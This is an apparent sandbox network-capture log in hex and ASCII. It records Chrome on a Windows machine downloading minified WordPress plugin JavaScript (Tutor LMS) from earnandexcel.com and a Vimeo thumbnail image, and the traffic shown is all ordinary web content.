2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 28 7c 21 7c 5c 2a 7c 5c 2f 7c 25 7c 5c 2b 7c 2d 7c 3c 7c 3e 7c 5c 3f 7c 5c 29 7c 3a 2f 3b 76 61 72 20 67 3d 7b 22 21 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 21 74 7d 2c 22 2a 22 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 2a 65 7d 2c 22 2f 22 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 2f 65 7d 2c 22 25 22 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 25 65 7d 2c 22 2b 22 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 2b 65 7d 2c 22 2d 22 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 2d 65 7d 2c 22 3c 22 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 3c 65 7d 2c 22 3c 3d 22 3a 66 75 6e 63 74 69 6f Data Ascii: (\|!\|\\|\/\|%\|\+\|-\|<\|>\|\?\|\)\|:/;var g={"!":function(t){return!t},"":function(t,e){return t*e},"/":function(t,e){return t/e},"%":function(t,e){return t%e},"+":function(t,e){return t+e},"-":function(t,e){return t-e},"<":function(t,e){return t<e},"<=":functio
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 74 29 3b 65 26 26 28 72 3d 72 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 74 2c 65 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 72 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 78 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 31 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 76 61 72 20 6e 3d 6e 75 6c 6c 21 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3a 7b 7d 3b 65 25 32 3f 62 28 4f 62 6a 65 63 74 28 6e 29 2c 21 30 29 2e 66 6f 72 45 61 63 68 28 Data Ascii: OwnPropertySymbols(t);e&&(r=r.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),n.push.apply(n,r)}return n}function x(t){for(var e=1;e<arguments.length;e++){var n=null!=arguments[e]?arguments[e]:{};e%2?b(Object(n),!0).forEach(
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 5f 29 2c 72 2e 64 61 74 61 5b 65 5d 29 2c 74 29 2c 72 2e 64 61 74 61 5b 65 5d 5b 22 22 5d 3d 78 28 78 28 7b 7d 2c 5f 5b 22 22 5d 29 2c 72 2e 64 61 74 61 5b 65 5d 5b 22 22 5d 29 7d 2c 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 22 64 65 66 61 75 6c 74 22 2c 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 76 6f 69 64 20 30 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 3f 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3a 76 6f 69 64 20 30 2c 6f 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 33 3f 61 72 67 75 6d 65 6e Data Ascii: _),r.data[e]),t),r.data[e][""]=x(x({},_[""]),r.data[e][""])},o=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"default",e=arguments.length>1?arguments[1]:void 0,n=arguments.length>2?arguments[2]:void 0,o=arguments.length>3?argumen
2024-04-11 21:26:41 UTC	204	IN	Data Raw: 2e 77 70 2e 68 6f 6f 6b 73 7d 2c 72 65 50 42 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 72 28 74 2c 65 2c 6e 29 7b 72 65 74 75 72 6e 20 65 20 69 6e 20 74 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 65 2c 7b 76 61 6c 75 65 3a 6e 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 74 5b 65 5d 3d 6e 2c 74 7d 6e 2e 64 28 65 2c 22 61 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 29 29 7d 7d 29 3b 0d 0a Data Ascii: .wp.hooks},rePB:function(t,e,n){"use strict";function r(t,e,n){return e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t}n.d(e,"a",(function(){return r}))}});
2024-04-11 21:26:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.17	49800	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:41 UTC	737	OUT	GET /wp-content/plugins/tutor/assets/js/tutor.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
2024-04-11 21:26:42 UTC	937	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:42 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e6ea99c72a5-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"64b0fad6-6639e" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 14 Jul 2023 07:35:50 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jRFynjWTbyCfCbLJDqK8zJJ2M1D4jPbJ90xwi0TYFxjPKd3%2B7JojUJiGTPPFF4gQTeceseR26y3WtUggL1YElynZZ2ZdwEkykSLmvZfIlc23zduehOb8hUTcBeJhkjtwFjQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:42 UTC	432	IN	Data Raw: 37 63 30 37 0d 0a 28 28 29 3d 3e 7b 76 61 72 20 6e 3d 7b 31 32 33 37 3a 28 65 2c 74 2c 72 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 72 2e 72 28 74 29 3b 72 2e 64 28 74 2c 7b 64 65 66 61 75 6c 74 3a 28 29 3d 3e 63 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 44 28 65 29 7b 22 40 62 61 62 65 6c 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 44 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 Data Ascii: 7c07(()=>{var n={1237:(e,t,r)=>{"use strict";r.r(t);r.d(t,{default:()=>c});function D(e){"@babel/helpers - typeof";return D="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 6c 69 63 65 6e 73 65 20 28 4d 49 54 29 3a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 66 61 63 65 62 6f 6f 6b 2f 72 65 67 65 6e 65 72 61 74 6f 72 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 20 2a 2f 5f 3d 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 72 65 74 75 72 6e 20 69 7d 3b 76 61 72 20 69 3d 7b 7d 2c 65 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2c 63 3d 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 74 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3f 53 79 6d 62 6f 6c 3a 7b 7d 2c 61 3d 74 2e 69 74 65 72 61 74 6f 72 7c 7c 22 40 40 69 74 65 72 61 74 6f 72 22 2c 72 3d 74 2e 61 73 79 6e 63 49 74 65 72 61 74 6f 72 7c 7c 22 40 40 61 73 79 6e 63 49 74 65 72 61 74 6f 72 22 2c 6e 3d 74 2e 74 6f Data Ascii: license (MIT): https://github.com/facebook/regenerator/blob/main/LICENSE */_=function e(){return i};var i={},e=Object.prototype,c=e.hasOwnProperty,t="function"==typeof Symbol?Symbol:{},a=t.iterator\|\|"@@iterator",r=t.asyncIterator\|\|"@@asyncIterator",n=t.to
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 73 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 66 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 70 28 29 7b 7d 76 61 72 20 76 3d 7b 7d 3b 6f 28 76 2c 61 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 29 3b 76 61 72 20 68 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 2c 6d 3d 68 26 26 68 28 68 28 43 28 5b 5d 29 29 29 3b 6d 26 26 6d 21 3d 3d 65 26 26 63 2e 63 61 6c 6c 28 6d 2c 61 29 26 26 28 76 3d 6d 29 3b 76 61 72 20 79 3d 70 2e 70 72 6f 74 6f 74 79 70 65 3d 6c 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 76 29 3b 66 75 6e 63 74 69 6f 6e 20 67 28 65 29 7b 5b 22 6e 65 78 74 22 2c 22 74 68 72 6f 77 22 2c 22 72 65 74 75 72 6e 22 5d 2e 66 6f 72 45 61 63 68 Data Ascii: s={};function l(){}function f(){}function p(){}var v={};o(v,a,function(){return this});var h=Object.getPrototypeOf,m=h&&h(h(C([])));m&&m!==e&&c.call(m,a)&&(v=m);var y=p.prototype=l.prototype=Object.create(v);function g(e){["next","throw","return"].forEach
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 6c 65 67 61 74 65 3d 6e 75 6c 6c 2c 73 29 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 65 29 7b 76 61 72 20 74 3d 7b 74 72 79 4c 6f 63 3a 65 5b 30 5d 7d 3b 31 20 69 6e 20 65 26 26 28 74 2e 63 61 74 63 68 4c 6f 63 3d 65 5b 31 5d 29 2c 32 20 69 6e 20 65 26 26 28 74 2e 66 69 6e 61 6c 6c 79 4c 6f 63 3d 65 5b 32 5d 2c 74 2e 61 66 74 65 72 4c 6f 63 3d 65 5b 33 5d 29 2c 74 68 69 73 2e 74 72 79 45 6e 74 72 69 65 73 2e 70 75 73 68 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 78 28 65 29 7b 76 61 72 20 74 3d 65 2e 63 6f 6d 70 6c 65 74 69 6f 6e 7c 7c 7b 7d 3b 74 2e 74 79 70 65 3d 22 6e 6f 72 6d 61 6c 22 2c 64 65 6c 65 74 65 20 74 2e 61 72 67 2c 65 2e 63 6f 6d 70 6c 65 74 69 6f 6e 3d 74 7d 66 75 6e 63 74 69 6f 6e 20 53 28 65 29 7b 74 68 69 73 2e 74 72 79 45 6e 74 72 69 65 73 3d 5b Data Ascii: legate=null,s)}function k(e){var t={tryLoc:e[0]};1 in e&&(t.catchLoc=e[1]),2 in e&&(t.finallyLoc=e[2],t.afterLoc=e[3]),this.tryEntries.push(t)}function x(e){var t=e.completion\|\|{};t.type="normal",delete t.arg,e.completion=t}function S(e){this.tryEntries=[
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 72 69 6e 67 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 5b 6f 62 6a 65 63 74 20 47 65 6e 65 72 61 74 6f 72 5d 22 7d 29 2c 69 2e 6b 65 79 73 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 6e 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 72 29 7b 6e 2e 70 75 73 68 28 65 29 7d 72 65 74 75 72 6e 20 6e 2e 72 65 76 65 72 73 65 28 29 2c 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 66 6f 72 28 3b 6e 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 74 3d 6e 2e 70 6f 70 28 29 3b 69 66 28 74 20 69 6e 20 72 29 72 65 74 75 72 6e 20 65 2e 76 61 6c 75 65 3d 74 2c 65 2e 64 6f 6e 65 3d 21 31 2c 65 7d 72 65 74 75 72 6e 20 65 2e 64 6f 6e 65 3d 21 30 2c 65 7d 7d 2c 69 2e 76 61 6c 75 65 73 3d 43 2c 53 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 6f 6e 73 74 72 75 63 74 Data Ascii: ring",function(){return"[object Generator]"}),i.keys=function(r){var n=[];for(var e in r){n.push(e)}return n.reverse(),function e(){for(;n.length;){var t=n.pop();if(t in r)return e.value=t,e.done=!1,e}return e.done=!0,e}},i.values=C,S.prototype={construct
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 61 3d 74 68 69 73 2e 74 72 79 45 6e 74 72 69 65 73 5b 6e 5d 3b 69 66 28 61 2e 74 72 79 4c 6f 63 3c 3d 74 68 69 73 2e 70 72 65 76 26 26 63 2e 63 61 6c 6c 28 61 2c 22 66 69 6e 61 6c 6c 79 4c 6f 63 22 29 26 26 74 68 69 73 2e 70 72 65 76 3c 61 2e 66 69 6e 61 6c 6c 79 4c 6f 63 29 7b 76 61 72 20 6f 3d 61 3b 62 72 65 61 6b 7d 7d 6f 26 26 28 22 62 72 65 61 6b 22 3d 3d 3d 74 7c 7c 22 63 6f 6e 74 69 6e 75 65 22 3d 3d 3d 74 29 26 26 6f 2e 74 72 79 4c 6f 63 3c 3d 72 26 26 72 3c 3d 6f 2e 66 69 6e 61 6c 6c 79 4c 6f 63 26 26 28 6f 3d 6e 75 6c 6c 29 3b 76 61 72 20 69 3d 6f 3f 6f 2e 63 6f 6d 70 6c 65 74 69 6f 6e 3a 7b 7d 3b 72 65 74 75 72 6e 20 69 2e 74 79 70 65 3d 74 2c 69 2e 61 72 67 3d 72 2c 6f 3f 28 74 68 69 73 2e 6d 65 74 68 6f 64 3d 22 6e 65 78 74 22 2c 74 68 69 73 Data Ascii: a=this.tryEntries[n];if(a.tryLoc<=this.prev&&c.call(a,"finallyLoc")&&this.prev<a.finallyLoc){var o=a;break}}o&&("break"===t\|\|"continue"===t)&&o.tryLoc<=r&&r<=o.finallyLoc&&(o=null);var i=o?o.completion:{};return i.type=t,i.arg=r,o?(this.method="next",this
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 6e 64 65 66 69 6e 65 64 29 7d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 77 28 74 2c 65 29 7b 76 61 72 20 72 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 74 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 21 72 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 29 7c 7c 28 72 3d 73 28 74 29 29 7c 7c 65 26 26 74 26 26 74 79 70 65 6f 66 20 74 2e 6c 65 6e 67 74 68 3d 3d 3d 22 6e 75 6d 62 65 72 22 29 7b 69 66 28 72 29 74 3d 72 3b 76 61 72 20 6e 3d 30 3b 76 61 72 20 61 3d 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 3b 72 65 74 75 72 6e 7b 73 3a 61 2c 6e 3a 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 69 66 28 6e 3e 3d 74 2e 6c 65 6e 67 74 68 29 72 65 74 75 Data Ascii: ndefined)})}}function w(t,e){var r=typeof Symbol!=="undefined"&&t[Symbol.iterator]\|\|t["@@iterator"];if(!r){if(Array.isArray(t)\|\|(r=s(t))\|\|e&&t&&typeof t.length==="number"){if(r)t=r;var n=0;var a=function e(){};return{s:a,n:function e(){if(n>=t.length)retu
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 75 74 6f 72 2d 62 61 63 6b 65 6e 64 2d 66 69 6c 74 65 72 2d 63 6f 75 72 73 65 22 29 3b 69 66 28 65 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 68 61 6e 67 65 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 63 28 22 63 6f 75 72 73 65 2d 69 64 22 2c 65 2e 74 61 72 67 65 74 2e 76 61 6c 75 65 29 7d 2c 7b 6f 6e 63 65 3a 74 72 75 65 7d 29 7d 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 74 75 74 6f 72 2d 62 61 63 6b 65 6e 64 2d 66 69 6c 74 65 72 2d 63 61 74 65 67 6f 72 79 22 29 3b 69 66 28 74 29 7b 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 68 61 6e 67 65 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 Data Ascii: utor-backend-filter-course");if(e){e.addEventListener("change",function(e){window.location=c("course-id",e.target.value)},{once:true})}var t=document.getElementById("tutor-backend-filter-category");if(t){t.addEventListener("change",function(e){window.loca
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 74 75 74 6f 72 2d 61 64 6d 69 6e 2d 62 75 6c 6b 2d 61 63 74 69 6f 6e 2d 66 6f 72 6d 22 29 3b 69 66 28 68 29 7b 68 2e 6f 6e 73 75 62 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 62 28 5f 28 29 2e 6d 61 72 6b 28 66 75 6e 63 74 69 6f 6e 20 65 28 72 29 7b 76 61 72 20 6e 2c 61 2c 6f 2c 69 2c 75 2c 6c 2c 73 2c 63 2c 64 2c 66 2c 70 2c 76 3b 72 65 74 75 72 6e 20 5f 28 29 2e 77 72 61 70 28 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 77 68 69 6c 65 28 31 29 7b 73 77 69 74 63 68 28 74 2e 70 72 65 76 3d 74 2e 6e 65 78 74 29 7b 63 61 73 65 20 30 3a 72 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 72 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 3b 6e 3d 6e 65 77 20 Data Ascii: ocument.getElementById("tutor-admin-bulk-action-form");if(h){h.onsubmit=function(){var t=b(_().mark(function e(r){var n,a,o,i,u,l,s,c,d,f,p,v;return _().wrap(function e(t){while(1){switch(t.prev=t.next){case 0:r.preventDefault();r.stopPropagation();n=new
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 66 69 72 6d 2d 62 75 6c 6b 2d 61 63 74 69 6f 6e 22 29 3b 69 66 28 73 29 7b 73 2e 6f 6e 63 6c 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 65 2e 74 79 70 65 3d 22 73 75 62 6d 69 74 22 3b 68 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 3b 65 2e 63 6c 69 63 6b 28 29 3b 65 2e 72 65 6d 6f 76 65 28 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 3b 76 61 72 20 6e 3d 72 2e 73 65 61 72 63 68 50 61 72 61 6d 73 3b 6e 2e 73 65 74 28 65 2c 74 29 3b 6e 2e 73 65 74 28 22 70 61 67 65 64 22 2c 31 29 3b 72 65 74 75 72 6e 20 72 7d 76 61 72 20 64 3d Data Ascii: firm-bulk-action");if(s){s.onclick=function(){var e=document.createElement("input");e.type="submit";h.appendChild(e);e.click();e.remove()}}function c(e,t){var r=new URL(window.location.href);var n=r.searchParams;n.set(e,t);n.set("paged",1);return r}var d=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.17	49803	151.101.192.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:41 UTC	434	OUT	GET /video/755912404-7b63338d02fc79560c0570e832acf14f8130f0197c8c7bd50735d0c605a9e6ed-d?mw=600&mh=338 HTTP/1.1 Host: i.vimeocdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:41 UTC	584	IN	HTTP/1.1 200 OK Connection: close Content-Length: 41778 Cache-Control: max-age=2592000 Content-Type: image/jpeg Etag: "95ea5189c97897bca142a8099a52f769" X-Viewmaster-Lossless-Format: automatic Via: 1.1 google, 1.1 varnish, 1.1 varnish Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-Viewmaster-Status Access-Control-Max-Age: 86400 Accept-Ranges: bytes Age: 150542 Date: Thu, 11 Apr 2024 21:26:41 GMT X-Served-By: cache-dfw-kdfw8210152-DFW, cache-ewr18137-EWR X-Cache: HIT, MISS X-Cache-Hits: 3, 0 X-Timer: S1712870802.712047,VS0,VE38 Vary: Accept
2024-04-11 21:26:41 UTC	1379	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 05 05 05 05 05 05 05 06 06 05 08 08 07 08 08 0b 0a 09 09 0a 0b 11 0c 0d 0c 0d 0c 11 1a 10 13 10 10 13 10 1a 17 1b 16 15 16 1b 17 29 20 1c 1c 20 29 2f 27 25 27 2f 39 33 33 39 47 44 47 5d 5d 7d 01 05 05 05 05 05 05 05 06 06 05 08 08 07 08 08 0b 0a 09 09 0a 0b 11 0c 0d 0c 0d 0c 11 1a 10 13 10 10 13 10 1a 17 1b 16 15 16 1b 17 29 20 1c 1c 20 29 2f 27 25 27 2f 39 33 33 39 47 44 47 5d 5d 7d ff c2 00 11 08 01 52 02 58 03 01 22 00 02 11 01 03 11 01 ff c4 00 1d 00 00 01 05 01 01 01 01 00 00 00 00 00 00 00 00 00 05 02 03 04 06 07 01 00 08 09 ff da 00 08 01 01 00 00 00 00 d1 93 27 bc 5b 31 87 c7 8f c8 ad a1 48 e2 99 6d 4b ea dc 72 5b 8e be eb ef cf 75 d8 b3 3c c5 1a c0 52 a2 74 aa f5 97 98 7a Data Ascii: JFIF) )/'%'/9339GDG]]}) )/'%'/9339GDG]]}RX"'[1HmKr[u<Rtz
2024-04-11 21:26:41 UTC	1379	IN	Data Raw: b5 77 68 0d dd 59 eb b9 7b 10 20 3b b1 4e 12 34 f0 f2 71 ac 06 43 55 b5 f4 b0 a7 22 44 e4 a8 14 70 23 74 17 61 15 45 0e 99 65 f3 92 44 7a c7 54 bc 10 a6 c4 2d 56 b3 5a 1a 80 79 40 ec 6e bd 20 7f 5d 7d 7c 21 16 b3 a4 55 45 da f3 da e4 6f 49 d1 f3 63 a2 2d 91 48 c8 be 41 ad d6 b4 c7 08 06 f9 fa 53 90 45 4f 89 12 b2 4b d0 55 a3 cb a5 12 74 db c2 50 d5 a1 98 81 19 4b 97 0b 1b 71 8b 28 2d 83 93 0a b7 11 82 2f 4c 05 9f 50 af aa bf 5b a8 15 75 73 42 ee 0a 78 44 bb 49 93 76 4f 55 2a 77 d2 0c 3d f3 e6 be 76 cd f2 fe 9c 9b c8 aa ed a8 16 6a 18 c5 20 bd 9f ab a9 a9 e2 49 6e 2a 16 f5 ac c8 d9 32 fa 14 f3 a7 88 87 62 5c ca 55 58 52 e1 1a 05 a4 5a 4e 89 88 54 18 3c b4 80 73 d5 eb 6e b8 60 8d 22 a9 66 34 ae 7c bb 3c 9c 35 4b 03 26 4b 28 4f 0d c5 88 6e da 7e 2f 05 83 80 Data Ascii: whY{ ;N4qCU"Dp#taEeDzT-VZy@n ]}\|!UEoIc-HASEOKUtPKq(-/LP[usBxDIvOUw=vj In2b\UXRZNT<sn`"f4\|<5K&K(On~/
2024-04-11 21:26:41 UTC	1379	IN	Data Raw: 51 ef 2b ec 91 f3 b5 1d 66 64 4c d1 8d 29 69 86 09 a6 60 56 71 f8 bd 6c 6f 64 0f 6d 1a 31 19 c5 bd d9 51 1d 8c df 78 dc dc 5a 95 fa 83 43 aa eb bc 9d 88 fd 0b 85 ee f8 1e ed 91 6b 6f fb de f7 be 7d c5 35 e9 6c 8c c7 5c 7f c2 c8 2f 60 ba 40 17 03 d3 4c 06 44 ff 00 56 c2 87 cc d0 dc 7f 42 79 71 0e ea f8 37 d0 48 a3 48 ab e8 35 96 e5 47 74 0e 8b 46 cc 7f 4f f1 ca 97 d1 fe 84 20 e0 23 e0 0e 04 b1 9f f7 bd ef 7c f5 87 ed 30 1c ed 4b 3e 15 e3 2e 8d d0 f4 a9 02 e7 c3 73 31 d5 2b 03 fd ea e6 56 26 c0 dc 68 1e ed c0 f7 b4 fc 9b 7a 0e f8 3c d6 d5 76 97 4d b6 23 31 b4 e1 34 ef d3 59 8d ab de 86 da a6 77 dc 51 4f 7b de f7 cf f9 36 c4 20 a2 d7 4d a7 54 7d d0 92 7e 83 9d 09 75 b3 1f 37 df 6e cd 46 ad 50 c2 3a 72 3b 6f dc ae 51 07 10 a4 11 2a db f3 d6 eb 2d b2 8e 26 e1 Data Ascii: Q+fdL)i`Vqlodm1QxZCko}5l\/`@LDVByq7HH5GtFO #\|0K>.s1+V&hz<vM#14YwQO{6 MT}~u7nFP:r;oQ*-&
